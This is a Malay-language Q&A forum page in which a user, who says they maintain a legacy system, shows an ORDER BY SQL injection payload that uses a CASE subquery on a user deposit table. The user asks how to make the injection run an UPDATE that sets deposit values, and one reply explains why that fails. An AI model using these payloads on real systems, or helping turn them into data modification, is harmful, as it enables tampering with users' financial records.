Rumah  >  Soal Jawab  >  teks badan

mysql - Apakah sebab ralat sql?

Menemui kerentanan suntikan sql berasaskan orderBy dalam sistem lama yang sedang diselenggara, dan saya akan mengesahkannya,

Saya akan laksanakan suntikan sql ini dahulu, ok

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

Tetapi apabila saya melaksanakan sql ini dengan pernyataan kemas kini, saya mendapat ralat:

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

Laporkan ralat

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

Bagaimana saya harus membiarkan dia melakukan kemas kini?

黄舟黄舟2712 hari yang lalu824

membalas semua(1)saya akan balas

  • 淡淡烟草味

    淡淡烟草味2017-05-18 10:49:26

    Apabila badan utama dipilih, ia tidak boleh dikemas kini, jika tidak, ia tidak boleh dilaksanakan
    Saya telah mencuba suntikan seperti ini dalam mybatis Apabila melaksanakan kemas kini dalam <pilih>, ralat dilaporkan secara langsung dan suntikan tidak boleh dilakukan

    balas
    0
  • Batalbalas